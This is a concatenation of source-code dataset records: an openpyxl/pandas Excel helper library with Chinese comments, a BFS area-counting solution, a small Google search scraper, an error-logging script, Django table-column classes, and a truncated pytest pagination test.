\"\"\"\n            path = os.path.splitext(os.path.split(self.excel)[1])[0]\n            attribute = 'copy_' + path + '.xltx'  # 设置文件的名字\n            self.workbook.template = True\n            self.workbook.save(attribute)\n            print('Xlsx turns xltx file.')\n            return attribute\n\n        else:\n            print('你丫的文件输入有误')\n\n    def attribute_document(self, template, document):\n        \"\"\"\n        将现有xltx模板转成xlsx文档进行保存\n        将现有的模板还原成文档或直接将现有的wb另存为。\n        保存为xls文件打开的时候会提示错误\n        :param template:  xltx文件\n        :param document:  需要保存后的文件\n        :return:\n        \"\"\"\n        if os.path.exists(template):  # 判断文件是否存在\n            \"\"\"\n            1.先判断xltx文件是否存在\n            2.在判断传入文件名字是否含有xlsx\n            \"\"\"\n            if os.path.splitext(template)[1] == '.xltx':  # 判断模板是不是xltx文件\n                attribute = os.path.split(document)  # 将文档切割。切成路径和文件两部分\n\n                if attribute[0] == '':  # 判断路径是否为空，为空说明保存跟模板同一个位置\n\n                    if os.path.splitext(attribute[1])[1] == '.xlsx':  # 判断是否文档保存是否为xlsx文件\n                        self.workbook.template = False\n                        self.workbook.save(document)\n                        print('The xitx template turns to the xlsx document.')\n                        return document  # 返回文件名\n                    else:\n                        print(document + ' : Not a File with a suffix xlsx')\n                elif os.path.exists(attribute[0]):  # 有路径说明要保存在指定路径下面\n\n                    if os.path.splitext(attribute[1])[1] == '.xlsx':\n\n                        self.workbook.template = False\n                        self.workbook.save(document)\n                        print('The xitx template turns to the xlsx document.')\n                        return document  # 返回文件名\n                    else:\n                        print(document + ' : Not a File with a suffix xlsx')\n                else:\n                    print(document + ' : File path does not exist, please try again.')\n            else:\n                print(template + ' : Not a File with a suffix xltx')\n        else:\n            print(template + ' : File does not exist')\n\n\n\n\nclass WRITEEXCEL:\n    def __init__(self, FILEPATH, SHEETTITLE='title', _INDEX=None):\n        \"\"\"\n        :param FILEPATH:  需要操作的文件路径\n        :param SHEETNAME: 工作薄名称，默认为title\n        \"\"\"\n        # 判断保存文件的位置是否存在\n        path = os.path.split(FILEPATH)\n        if os.path.exists(path[0]) or path[0] == '':  # 检验文件是指定存储路径还是存储在本路径下\n            if os.path.splitext(path[1])[1] == '.xlsx':  # 检验文件是否为xlsx格式的文件\n\n                self.excel = FILEPATH  # 存储文件的路径保存\n                self.writeexcel_Data(_TITLE=SHEETTITLE, _INDEX=_INDEX)  # 调用初始化函数，赋值标题\n            elif os.path.splitext(path[1])[1] == '.csv':  # 检验文件是否为xlsx格式的文件\n                self.excel = FILEPATH  # 存储文件的路径保存\n                self.writeexcel_Data(_TITLE=SHEETTITLE, _INDEX=_INDEX)  # 调用初始化函数，赋值标题\n\n            else:\n                print(os.path.splitext(path[1])[1] + ' : 读取文件的格式不对')\n        else:\n            raise FileNotFoundError('文件不存在！')\n\n    def writeexcel_Data(self, _TITLE, _INDEX):\n        \"\"\"\n         此处不严谨：如果输入的字符串都为数字那么就会出错\n        :param _TITLE:\n        :param _INDEX:\n        :return:\n        \"\"\"\n\n        # 创建需要操作的文档\n        self.workbook = Workbook()\n        if type(_INDEX) in [int]:\n            self.create_sheet(_TITLE, _INDEX)\n        else:\n            self.active_sheet(_TITLE)\n\n    def create_sheet(self, _TITLE, _INDEX):\n        \"\"\"\n           如果只创建一个工作薄的话不建议这个方式\n           例：\n           index设置为0时，会自动生成一个名为sheet的工作薄内容为空\n           设置为10时，自动生成9个空内容的工作薄，内存消耗大\n         \"\"\"\n        self.work_sheet = self.workbook.create_sheet(title=_TITLE, index=_INDEX)\n\n    def active_sheet(self, _TITLE):\n        \"\"\"\n        单独创建一个工作薄.创建之后只有_TITLE标题的工作薄\n        :param _TITLE:   工作薄的标题\n        :return:\n        \"\"\"\n        self.work_sheet = self.workbook.active\n        self.work_sheet.title = _TITLE\n\n    def save_woek_sheet(self):\n        #   保存工作薄\n        self.workbook.save(filename=self.excel)\n\n    def content_cell_single(self, single, content):\n        \"\"\"\n        根据单个cell进行赋值\n        :param single:  位置\n        :param content:  内容\n        :return:\n        \"\"\"\n        self.work_sheet[single] = content\n\n    def content_cell_row_col(self, col, row, value):\n        \"\"\"\n            该语句返回当前设置单元格的内容value\n           :param col:\n           :param row:\n           :param value:\n           :return:\n       \"\"\"\n        date_ex = self.work_sheet.cell(column=col, row=row, value=value)\n        return date_ex\n\n    def content_row_append(self, content):\n        \"\"\"\n        对一整行直接写入.\n        如果文件已经写入内容时，那么就在下一行写入内容\n        :param content:  可以为list也可以是单个内容\n        :return:\n        \"\"\"\n        self.work_sheet.append(content)\n\n    def get_column_letter(self, Number=1):\n        \"\"\"\n        返回指定列的标题名字\n        例:\n             A    B\n        1    x    y\n        2    z    x\n        :param Number:\n        :return:  返回例子中A/B\n        \"\"\"\n        from openpyxl.utils import get_column_letter\n        return \"{0}\".format(get_column_letter(Number))\n\n    def time_transformation_timeStamp(self, dt):\n        # 时间转时间戳\n        if dt == None:\n            import datetime\n            dt = datetime.datetime.now()\n        return dt.timestamp()\n\n    def datetime_transformation(self, dt):\n        # 时间戳转时间\n        return dt.fromtimestamp()\n\n    def datetime_format(self, format=\"%Y-%m-%d %H:%M:%S\"):\n        #   获取当前时间，并按照格式进行返回\n        import datetime\n        return datetime.datetime.now().strftime(format)\n\n    def merge_excel(self, range):\n        \"\"\"\n        合并单元格\n        :param range: 需要合并的范围\n        :return:\n        \"\"\"\n        try:\n            self.work_sheet.merge_cells(range)\n            pass\n        except Exception:\n            print('Merge error')\n\n    def ummerge_excel(self, range):\n        \"\"\"\n        拆除单元格。。。\n        注：\n        1.range如果并没有合并，那么执行这个语句会报错\n        2.原组合单元格的内容为N时，拆分后第一个单元格的内容为N\n        :param range: 现已经合并了，需要拆分的单元格\n        :return:\n        \"\"\"\n        try:\n            self.work_sheet.unmerge_cells(range)\n            pass\n        except Exception:\n            print('Break the merge error')\n\n    def row_col_merge_excel(self, start_row=1, start_column=1, end_row=1, end_column=1):\n        \"\"\"\n        指定行列之后进行合并\n        注：\n        1.当start_row和end_row相等时，说明列之间进行合并\n        1.当start_column和end_column相等时，说明行之间进行合并\n        :param start_row: 开始行\n        :param start_column: 开始列\n        :param end_row: 结束行\n        :param end_column: 结束列\n        :return:\n        \"\"\"\n        try:\n            self.work_sheet.merge_cells(start_row=start_row, start_column=start_column, end_row=end_row,\n                                        end_column=end_column)\n            pass\n        except Exception:\n            print('Merge error')\n\n    def row_col_ummerge_excel(self, start_row=1, start_column=1, end_row=1, end_column=1):\n        \"\"\"\n        指定行列之后进行拆分\n        注：\n        1.当start_row和end_row相等时，说明列之间进行拆分\n        2.当start_column和end_column相等时，说明行之间进行拆分\n        3.如果传入的单元格并没有合并，那么执行这个语句会报错\n        4.原组合单元格的内容为N时，拆分后第一个单元格的内容为N\n        :param start_row:开始行\n        :param start_column:开始列\n        :param end_row:结束行\n        :param end_column:结束列\n        :return:\n        \"\"\"\n        try:\n            self.work_sheet.unmerge_cells(start_row=start_row, start_column=start_column, end_row=end_row,\n                                          end_column=end_column)\n            pass\n        except Exception:\n            print('Break the merge error')\n\n\n\n    def folding_column(self, min_range, max_range, hidden=False):\n        \"\"\"\n         折叠柱（轮廓）（将指定 column name 进行折叠）\n        :param min_range:  开始的位置\n        :param max_range:  结束的位置\n        :param hidden:  should the group be hidden on workbook open or not\n        :return:\n        \"\"\"\n\n        if type(min_range) in [str] and type(max_range) in [str]:\n            \"\"\"\n            1.先判断开始位置是否小于结束位置：思路：字符串长度以及ASCII的大小\n            \"\"\"\n            # 算出值的长度\n            length_min = len(min_range)\n            length_max = len(max_range)\n\n            # 　开始位置必须在结束位置的前面，所以先判断两个字母的长度\n            #   长度小于说明ASCII码也一定小于\n            if length_min < length_max:\n                self.work_sheet.column_dimensions.group(min_range, max_range, hidden=hidden)\n\n            # 长度相等时，判断长度是不是为1.如果是说明不需要将字符串拆分之后进行计算\n            elif length_min == length_max and length_min == 1:\n                # 算出值的大小ASCII\n                number_min = ord(min_range)\n                number_max = ord(max_range)\n\n                if number_min < number_max:\n                    self.work_sheet.column_dimensions.group(min_range, max_range, hidden=hidden)\n                else:\n                    print('When the length is 1, the ASCII is greater than the end....')\n\n            elif length_min == length_max and length_min > 1:\n                # 算出值的大小ASCII\n                number_min = 0\n                number_max = 0\n\n                for number in min_range:\n                    number_min = number_min + ord(number)\n\n                for number in max_range:\n                    number_max = number_max + ord(number)\n\n                if number_min < number_max:\n                    self.work_sheet.column_dimensions.group(min_range, max_range, hidden=hidden)\n                else:\n                    print('When the length is not 1, ASCII is greater than the end....')\n            else:\n                print('dayle')\n        else:\n            print('The parameters given must be characters....')\n\n    def worksheet_color(self, color='1072BA'):\n        # 设置工作薄标题颜色\n        self.work_sheet.sheet_properties.tabColor = color\n\n\n\nclass PANDASDATA:\n\n    def __init__(self, _data=None):\n        \"\"\"\n        接收excle中读取到的数据\n        :param _data:  excle数据源\n        :return:\n        \"\"\"\n        self._data = _data\n\n    def startPandasData(self, _data):\n        \"\"\"\n        接收excle中读取到的数据\n        :param _data:  excle数据源\n        :return:\n        \"\"\"\n        self._data = _data\n        return self\n\n    def conversion_series(self):\n        '''\n        将列表的数据进行转换\n        :return:\n        '''\n        series = pd.Series(self._data)\n        return series\n\n    def definition_DataFrame(self, index, periods, columns=None):\n        '''\n        将字典的业内容进行系列化。\n        :param index:  字典中的序列号\n        :param columns: 字典中的key\n        :return:\n        例:\n                key1   key2\n        index1   1     1\n        index2   2     2\n        '''\n        dates = pd.date_range(index, periods=periods)\n        # 转换\n        return self.dataFrame(dates, columns)\n\n    def dataFrame(self, index=None, columns=None):\n        '''\n       将字典业已的内容进行系列化。\n        :param index:  字典中的序列号\n        :param columns: 字典中的key\n        :return:\n        例:\n                key1   key2\n        index1   1     1\n        index2   2     2\n        '''\n        # 转换\n        df = pd.DataFrame(self._data, index=index, columns=columns)\n        return df\n\n    def functionConcat(self, function, *frames):\n        '''\n        将多个DataFrame数据集合并之后，将其转成excle文档方便进行查看\n        :param function:  新创建的excle文件名\n        :param frames:  多个DataFrame合并后的数据集\n        :return:\n        '''\n        result = pd.concat(frames, keys=['readdata', 'storage', 'results'])\n        result.to_csv(function + \".csv\", index=False, encoding=\"gbk\")\n\n    def contentConcat(self, *frames: \"多个Dataframes数据\"):\n\n        result = pd.concat(frames)\n        return result\n\n    def df_conversion(self, df, data_type='itertuples'):\n        '''\n        df转换成list的方法，然后给excle输入\n        :param df: 通过pandas转换出来的df数据\n        :param data_type: 指定转换的方法\n        :return:\n        '''\n        \"\"\"\n        data_type是判断你需要那类方式:运行效率\n        itertuples > enumerate > iterrows > range(index)/iloc\n        \"\"\"\n        if data_type == 'enumerate':\n            list_max = []\n            for i, row in enumerate(df.values):\n                list_data = []\n                for r in row:\n                    list_data.append(r.value)\n                list_max.append(list_data)\n                return list_max\n        elif data_type == 'iterrows':\n            list_max = []\n            for i, row in df.iterrows():\n                list_data = []\n                for r in row:\n                    list_data.append(r.value)\n                list_max.append(list_data)\n                return list_max\n        elif data_type == 'itertuples':\n            list_max = []\n            for row in df.itertuples():\n                list_data = []\n                for r in range(1, len(row)):\n                    list_data.append(row[r].value)\n                list_max.append(list_data)\n                return list_max\n        elif data_type == 'iloc':\n            list_max = []\n            for number in range(len(df)):\n                list_data = []\n                row = df.iloc[number]\n                for r in range(len(row)):\n                    list_data.append(row[r].value)\n                list_max.append(list_data)\n                return list_max\n        else:\n            print('openpyxlExcel 你确定自己输入正确了?、、、')\n\n    def zip_col(self, df, index=1, number=None):\n        '''\n        通过zip方法，直接返回指定列的数据\n        :param df:\n        :param index:    需要返回的行\n        :param number:   需要返回的列\n        :return:\n        '''\n        if number is not None:\n            list_max = []\n            for row in zip(df, df[index], df[number]):\n                list_data = []\n                for r in range(1, len(row)):\n                    list_data.append(row[r].value)\n                list_max.append(list_data)\n        else:\n            list_max = []\n            for row in zip(df, df[index]):\n                list_data = []\n                for r in range(1, len(row)):\n                    list_data.append(row[r].value)\n                list_max.append(list_data)\n\n    def iloc_row(self, df, index=1):\n        \"\"\"\n        直接获取相应的行数据\n        df['c1'].iloc[x].dtype 指定列的内容，并打印数据类型\n        :param df: df数据对象\n        :param index:  需要获取的列位置\n        :return:\n        \"\"\"\n        if index < len(df):\n            content = df.iloc[index]\n            return content\n        else:\n            print('长度大于了。。。。。')\n\n    def row_index_header(self, df, index=False, header=False):\n        '''\n        建议都为假。。。\n                header1    header2\n        index1    1          2\n        index2    3          4\n        打印之后的数据为:\n            [index1 , 1 , 2 ]\n            [index2 , 3 , 4 ]\n        :param df:\n        :param index: 为真时打印index标签的内容\n        :param header: 为真时打印headder标签的内容\n        :return:\n        '''\n        if index and header:\n            \"\"\"\n            都为真时，说明有首行header内容以及首列标签index\n            将标题以及标签的数据去除之后重新返回数据\n            \"\"\"\n            list_max = []\n            for row in dataframe_to_rows(df, index=index, header=header):\n                list_data = []\n                for r in range(1, len(row)):\n                    list_data.append(row[r].value)\n                list_max.append(list_data)\n            return list_max\n        elif index is True and header is False:\n            \"\"\"\n            index为真时，说明首列标签index保留\n            需要对header进行处理，header不是我们想要的数据\n            \"\"\"\n            list_max = []\n            for row in dataframe_to_rows(df, index=index, header=header):\n                list_data = []\n                for r in range(1, len(row)):\n                    list_data.append(row[r].value)\n                list_max.append(list_data)\n            return list_max\n        elif index is False and header:\n            \"\"\"\n            header为真时，说明首行header保留\n            需要对index进行处理，index不是我们想要的数据\n            \"\"\"\n            list_max = []\n            for row in dataframe_to_rows(df, index=index, header=header):\n                list_data = []\n                for r in range(len(row)):\n                    list_data.append(row[r].value)\n                list_max.append(list_data)\n            return list_max\n        elif index is False and header is False:\n            \"\"\"\n            都为假时，说明首行header和标签index都没有返回这时不需要进行处理操作直接使用\n            \"\"\"\n            list_max = []\n            for row in dataframe_to_rows(df, index=index, header=header):\n                list_data = []\n                for r in range(len(row)):\n                    list_data.append(row[r])\n                list_max.append(list_data)\n            return list_max\n        else:\n            print('bus')\n\nclass OpenExcelPandas(READEXCEL, PANDASDATA):\n\n    def __init__(self, name='', sheet=','):\n        \"\"\"\n        关于_date和_title的解释：\n        读取excel的数据时：\n          _date表示的文件的路径\n          _title表示的是工作薄的页面 或者 工作薄的名称\n\n        读取csv的数据时：\n          _date表示的文件的路径\n          _title表示的是该文件的分隔符。例如‘，’逗号\n\n        通过pandas进行转换时：\n          _date 表示的数据\n          _title 表示标题\n        :param name:\n        :param sheet:\n        \"\"\"\n        self._data = name\n        self._title = sheet\n\n    def readCaseExcel(self, title='函数'):\n        # 创建工作薄workbook对象\n        self.startReadExcel(self._data, self._title) if self._title else self.startReadExcel(self._date)\n\n        # 将case中内容部分的数据（除标题以外的数据）读出\n        # 将case中标题的全部内容读出\n        self._data, self._title = self.coordinates_sheet_row_value()\n        # 通过pandas将数据进行转换\n        return self.conversionPandas(title)\n\n    def internal_pandas_read(self, title='函数'):\n        genericpath = os.path.splitext(self._date)[1]  # 切割文件后缀名\n        if 'xlsx' in genericpath:\n            return self.internal_read_excel(title)\n        elif 'csv' in genericpath:\n            return self.internal_read_csv(title)\n        else:\n            print(\"If pandas read the document information, they should pass in the formatted document..\")\n\n    def internal_read_excel(self, title=\"函数\"):\n        '''\n        利用pandas内置函数，直接读取xlsx的数据信息\n        并将函数名提取出来，用于序列号的赋值\n        :return:\n        '''\n        self._data = pd.read_excel(self._data, self._title)\n        if title:\n            columnLabel = list(self._data[title])  # 设置序列号的名字\n            return self.conversion_column(self._data, columnLabel)\n        else:\n            return self.conversion_column(self._data, None)\n\n    def internal_read_csv(self, title=\"函数\"):\n        '''\n        读取csv文档数据。sep 为csv切割符号\n        header 指定行为矩阵的key\n        engine 最好写吧，不然容易意不意外惊不惊喜\n        :param title:  矩阵中，拿来设置序列号的相应行key\n        :return:\n        '''\n        self._data = pd.read_csv(self._date, sep=self._title, header=0, engine='python')\n        if title:\n            columnLabel = list(self._data[title])  # 设置序列号的名字\n            return self.conversion_column(self._data, columnLabel)\n        else:\n            return self.conversion_column(self._data, None)\n\n    def conversionPandas(self, title=\"函数\"):\n        '''\n        通过已读取的\n        :param title:\n        :return:\n        '''\n\n        self._data = self.dataFrame(columns=self._title)  # 设置标题名\n        if title:\n            columnLabel = list(self._data[title])  # 设置序列号的名字\n            return self.conversion_column(self._data, columnLabel)\n        else:\n            return self.conversion_column(self._data, None)\n\n    def conversion_column(self, df, columnLabel=None):\n        if columnLabel:\n            df = df.set_index([columnLabel])  # 设置df数据中的序列号\n        return df.fillna(value='')\n\n", "repo_name": "namexiaohuihui/demotest", "sub_path": "util_tools/storage/openpyxl_excel.py", "file_name": "openpyxl_excel.py", "file_ext": "py", "file_size_in_byte": 30961, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.exists", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "openpyxl.load_workbook", "line_number": 45, "usage_type": "call"}, {"api_name": "openpyxl.utils.get_column_letter", "line_number": 156, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 200, "usage_type": "call"}, {"api_name": "os.path", "line_number": 200, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 203, "usage_type": "call"}, {"api_name": "os.path", "line_number": 203, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 210, "usage_type": "call"}, {"api_name": "os.path", "line_number": 210, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 226, "usage_type": "call"}, {"api_name": "os.path", "line_number": 226, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 226, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 245, "usage_type": "call"}, {"api_name": "os.path", "line_number": 245, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 250, "usage_type": "call"}, {"api_name": "os.path", "line_number": 250, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 251, "usage_type": "call"}, {"api_name": "os.path", "line_number": 251, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 255, "usage_type": "call"}, {"api_name": "os.path", "line_number": 255, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 262, "usage_type": "call"}, {"api_name": "os.path", "line_number": 262, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 264, "usage_type": "call"}, {"api_name": "os.path", "line_number": 264, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 289, "usage_type": "call"}, {"api_name": "os.path", "line_number": 289, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 290, "usage_type": "call"}, {"api_name": "os.path", "line_number": 290, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 291, "usage_type": "call"}, {"api_name": "os.path", "line_number": 291, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 295, "usage_type": "call"}, {"api_name": "os.path", "line_number": 295, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 300, "usage_type": "call"}, {"api_name": "os.path", "line_number": 300, "usage_type": "attribute"}, {"api_name": "openpyxl.Workbook", "line_number": 313, "usage_type": "call"}, {"api_name": "openpyxl.utils.get_column_letter", "line_number": 381, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 387, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 387, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 397, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 397, "usage_type": "attribute"}, {"api_name": "pandas.Series", "line_number": 551, "usage_type": "call"}, {"api_name": "pandas.date_range", "line_number": 565, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 581, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 591, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 596, "usage_type": "call"}, {"api_name": "openpyxl.utils.dataframe.dataframe_to_rows", "line_number": 703, "usage_type": "call"}, {"api_name": "openpyxl.utils.dataframe.dataframe_to_rows", "line_number": 715, "usage_type": "call"}, {"api_name": "openpyxl.utils.dataframe.dataframe_to_rows", "line_number": 727, "usage_type": "call"}, {"api_name": "openpyxl.utils.dataframe.dataframe_to_rows", "line_number": 738, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 780, "usage_type": "call"}, {"api_name": "os.path", "line_number": 780, "usage_type": "attribute"}, {"api_name": "pandas.read_excel", "line_number": 794, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 809, "usage_type": "call"}]}
{"seq_id": "31291096224", "text": "# BFS로 풀기\r\n\r\nfrom collections import deque\r\n\r\nM, N, K = map(int, input().split())\r\narr = [[0] * N for _ in range(M)]\r\n# 좌표값을 받아서 해당 부분 다 1로 바꾸기\r\nfor _ in range(K):\r\n    x1, y1, x2, y2 = map(int, input().split())\r\n    for i in range(x1, x2):\r\n        for j in range(y1,y2):\r\n            arr[j][i] = 1\r\n\r\ndx = [-1, 1, 0, 0]\r\ndy = [0, 0, -1, 1]  # 델타 탐색 이용\r\n\r\ndef bfs(x, y):  # BFS 이용해서 델타 탐색하면서 0인부분 카운트해서 1로 바꾸고, 카운팅 다하면 result에 넣기\r\n    queue = deque()\r\n    queue.append((x, y))\r\n    arr[x][y] = 1\r\n    cnt = 1\r\n    while queue:\r\n        x, y = queue.popleft()\r\n        for i in range(4):\r\n            nx = x + dx[i]\r\n            ny = y + dy[i]\r\n            if 0 <= nx < M and 0 <= ny < N and arr[nx][ny] == 0:\r\n                arr[nx][ny] = 1\r\n                queue.append((nx, ny))\r\n                cnt += 1\r\n    result.append(cnt)\r\n\r\n\r\nresult = []\r\nfor i in range(M):\r\n    for j in range(N):\r\n        if arr[i][j] == 0:  # 0인곳 찾아서 BFS 돌리기\r\n            bfs (i, j) # (0,0) = 7 (0,6) = 13 (4,0) = 1\r\n\r\nresult.sort()\r\nprint(len(result))\r\nprint(*result)", "repo_name": "Alex-Redlich/Algorithm-TIL", "sub_path": "백준/Silver/2583. 영역 구하기/영역 구하기.py", "file_name": "영역 구하기.py", "file_ext": "py", "file_size_in_byte": 1180, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.deque", "line_number": 18, "usage_type": "call"}]}
{"seq_id": "4396121318", "text": "from bs4 import BeautifulSoup\nimport requests\n\nsearch = 'CY0101312219'\nurl = 'https://www.google.com/search'\n\nheaders = {\n\t'Accept' : '*/*',\n\t'Accept-Language': 'en-US,en;q=0.5',\n\t'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82',\n}\nparameters = {'q': search}\n\ncontent = requests.get(url, headers = headers, params = parameters).text\nsoup = BeautifulSoup(content, 'html.parser')\n\nsearch = soup.find(id = 'search')\nprint(search)\n# first_link = search.find('a')\n#\n# print(first_link['href'])", "repo_name": "yogi-88/google-search-python", "sub_path": "googlesearch/googlesearch.py", "file_name": "googlesearch.py", "file_ext": "py", "file_size_in_byte": 556, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "requests.get", "line_number": 14, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 15, "usage_type": "call"}]}
{"seq_id": "13813044582", "text": "import os\nimport re\nimport sys\nimport datetime\nimport time\n\ndef bug_logger_proc():\n    curdate = datetime.datetime.now()\n    getdate = curdate.strftime('%d/%m/%Y')\n    gettime = curdate.strftime('%I:%M:%S %p')\n    error_info = str(sys.exc_info()[1])\n\n    logs = open('buglogger.log', 'a')\n    logs.write('[%s %s] (NS) ERROR: %s\\n' % (getdate, gettime,error_info))\n    logs.close()\n    \ntry:\n    num1  = int(input('Enter your initial : '))\n    total = pow(num1/20, 2)\n    print('current result is %s' % total)\nexcept:\n    bug_logger_proc()\n\n", "repo_name": "monsieurDuke/cookie-basic", "sub_path": "sandbox/sandbox.5.py", "file_name": "sandbox.5.py", "file_ext": "py", "file_size_in_byte": 540, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "datetime.datetime.now", "line_number": 8, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 8, "usage_type": "attribute"}, {"api_name": "sys.exc_info", "line_number": 11, "usage_type": "call"}]}
{"seq_id": "9724190695", "text": "# /usr/bin/env python\n# -*- encoding: utf-8 -*-\n\nfrom django.utils.text import capfirst\nfrom django.utils.translation import ugettext as _\n\nfrom datable.core.serializers import BooleanSerializer\nfrom datable.core.serializers import DateSerializer\nfrom datable.core.serializers import DateTimeSerializer\nfrom datable.core.serializers import TimedeltaSerializer\nfrom datable.core.serializers import StringSerializer\n\nclass Column(object):\n\n    label = None\n    width = None\n    sortable = None\n    serializer = None\n    serializerClass = None\n    formatter = None\n    sortColumnName = None  # Parameter for QuerySet.order_by\n\n    def __init__(self, name, label=None, width=None,\n                 serializer=None, sortable=None, sortColumnName=None):\n\n        self.name = name\n\n        if label is not None:\n            self.label = label\n\n        if self.label is None:\n            self.label = _(capfirst(self.name.replace(\"_\", \" \")))\n\n        if width is not None:\n            self.width = width\n\n        if sortable is not None:\n            self.sortable = sortable\n\n        if serializer is not None:\n            self.serializer = serializer\n\n        if self.serializer is None:\n            self.serializer = self.serializerClass(self.name)\n\n        if sortColumnName is not None:\n            self.sortColumnName = sortColumnName\n\n        if self.sortColumnName is None and self.sortable:\n            self.sortColumnName = name\n\n    def sortQuerySet(self, querySet, desc):\n        \"\"\"The query set needs to be sorted using this column.\n        \"\"\"\n        sort = self.sortColumnName\n        if sort is None:\n            raise Exception(\"This column can not be used to sort\")\n        if desc:\n            sort = '-' + sort\n        return querySet.order_by(sort)\n\n    def getName(self):\n        return self.name\n\n    def getSerializer(self):\n        return self.serializer\n\n    def getLabel(self):\n        return self.label\n\n    def getFormatter(self):\n        return self.formatter\n\n\nclass StringColumn(Column):\n    serializerClass = StringSerializer\n    sortable = True\n\n\nclass DateColumn(Column):\n    serializerClass = DateSerializer\n    sortable = True\n\n\nclass DateTimeColumn(Column):\n    serializerClass = DateTimeSerializer\n    sortable = True\n\n\nclass TimedeltaColumn(Column):\n    serializerClass = TimedeltaSerializer\n    sortable = True\n\n\nclass BooleanColumn(Column):\n    serializerClass = BooleanSerializer\n    sortable = True\n\n\nclass ImageColumn(Column):\n    formatter = 'image'\n    sortable = False\n\n\nclass HrefColumn(Column):\n    formatter = 'href'\n    sortable = False\n\n", "repo_name": "mpasternak/dojango-datable", "sub_path": "datable/web/columns.py", "file_name": "columns.py", "file_ext": "py", "file_size_in_byte": 2583, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.utils.translation.ugettext", "line_number": 32, "usage_type": "call"}, {"api_name": "django.utils.text.capfirst", "line_number": 32, "usage_type": "call"}, {"api_name": "datable.core.serializers.StringSerializer", "line_number": 76, "usage_type": "name"}, {"api_name": "datable.core.serializers.DateSerializer", "line_number": 81, "usage_type": "name"}, {"api_name": "datable.core.serializers.DateTimeSerializer", "line_number": 86, "usage_type": "name"}, {"api_name": "datable.core.serializers.TimedeltaSerializer", "line_number": 91, "usage_type": "name"}, {"api_name": "datable.core.serializers.BooleanSerializer", "line_number": 96, "usage_type": "name"}]}
{"seq_id": "4259536482", "text": "import base64\nimport datetime\nimport urllib.parse\n\nimport pytest\nfrom freezegun import freeze_time\nfrom rest_framework import status\n\nfrom datahub.activity_stream.test import hawk\nfrom datahub.activity_stream.test.utils import get_url\nfrom datahub.interaction.test.factories import CompanyInteractionFactory\nfrom datahub.investment.project.test.factories import InvestmentProjectFactory\nfrom datahub.omis.order.test.factories import OrderFactory\n\n\n@pytest.mark.parametrize(\n    'factory, endpoint',\n    (\n        (CompanyInteractionFactory, 'api-v3:activity-stream:interactions'),\n        (InvestmentProjectFactory, 'api-v3:activity-stream:investment-project-added'),\n        (OrderFactory, 'api-v3:activity-stream:omis-order-added'),\n    ),\n)\n@pytest.mark.django_db\ndef test_cursor_pagination(factory, endpoint, api_client, monkeypatch):\n    \"\"\"\n    Test if pagination behaves as expected\n    \"\"\"\n    page_size = 2\n    monkeypatch.setattr(\n        'datahub.activity_stream.pagination.ActivityCursorPagination.page_size',\n        page_size,\n    )\n\n    start = datetime.datetime(year=2012, month=7, day=12, hour=15, minute=6, second=3)\n    with freeze_time(start) as frozen_datetime:\n        interactions = factory.create_batch(page_size + 1)\n        frozen_datetime.tick(datetime.timedelta(seconds=1))\n\n        response = hawk.get(api_client, get_url(endpoint))\n        assert response.status_code == status.HTTP_200_OK\n        page_0_data = response.json()\n        assert len(page_0_data['orderedItems']) == 0\n\n        frozen_datetime.tick(datetime.timedelta(microseconds=1))\n\n        response = hawk.get(api_client, get_url(endpoint))\n        assert response.status_code == status.HTTP_200_OK\n\n        page_1_data = response.json()\n        page_2_url = page_1_data['next']\n        assert len(page_1_data['orderedItems']) == page_size\n\n        response = hawk.get(api_client, page_2_url)\n        page_2_data = response.json()\n        page_3_url = page_2_data['next']\n        assert len(page_2_data['orderedItems']) == len(interactions) - page_size\n\n        response = hawk.get(api_client, page_3_url)\n        page_3_data = response.json()\n        assert len(page_3_data['orderedItems']) == 0\n        assert page_3_data['next'] is None\n\n        interactions = factory.create_batch(1)\n        frozen_datetime.tick(datetime.timedelta(seconds=1, microseconds=1))\n\n        response = hawk.get(api_client, page_3_url)\n        page_3_post_update_data = response.json()\n        assert len(page_3_post_update_data['orderedItems']) == 1\n\n        page_4_url = page_3_post_update_data['next']\n        response = hawk.get(api_client, page_4_url)\n        page_4_data = response.json()\n        assert len(page_4_data['orderedItems']) == 0\n        assert page_4_data['next'] is None\n\n        # Assert that DRF's cursor 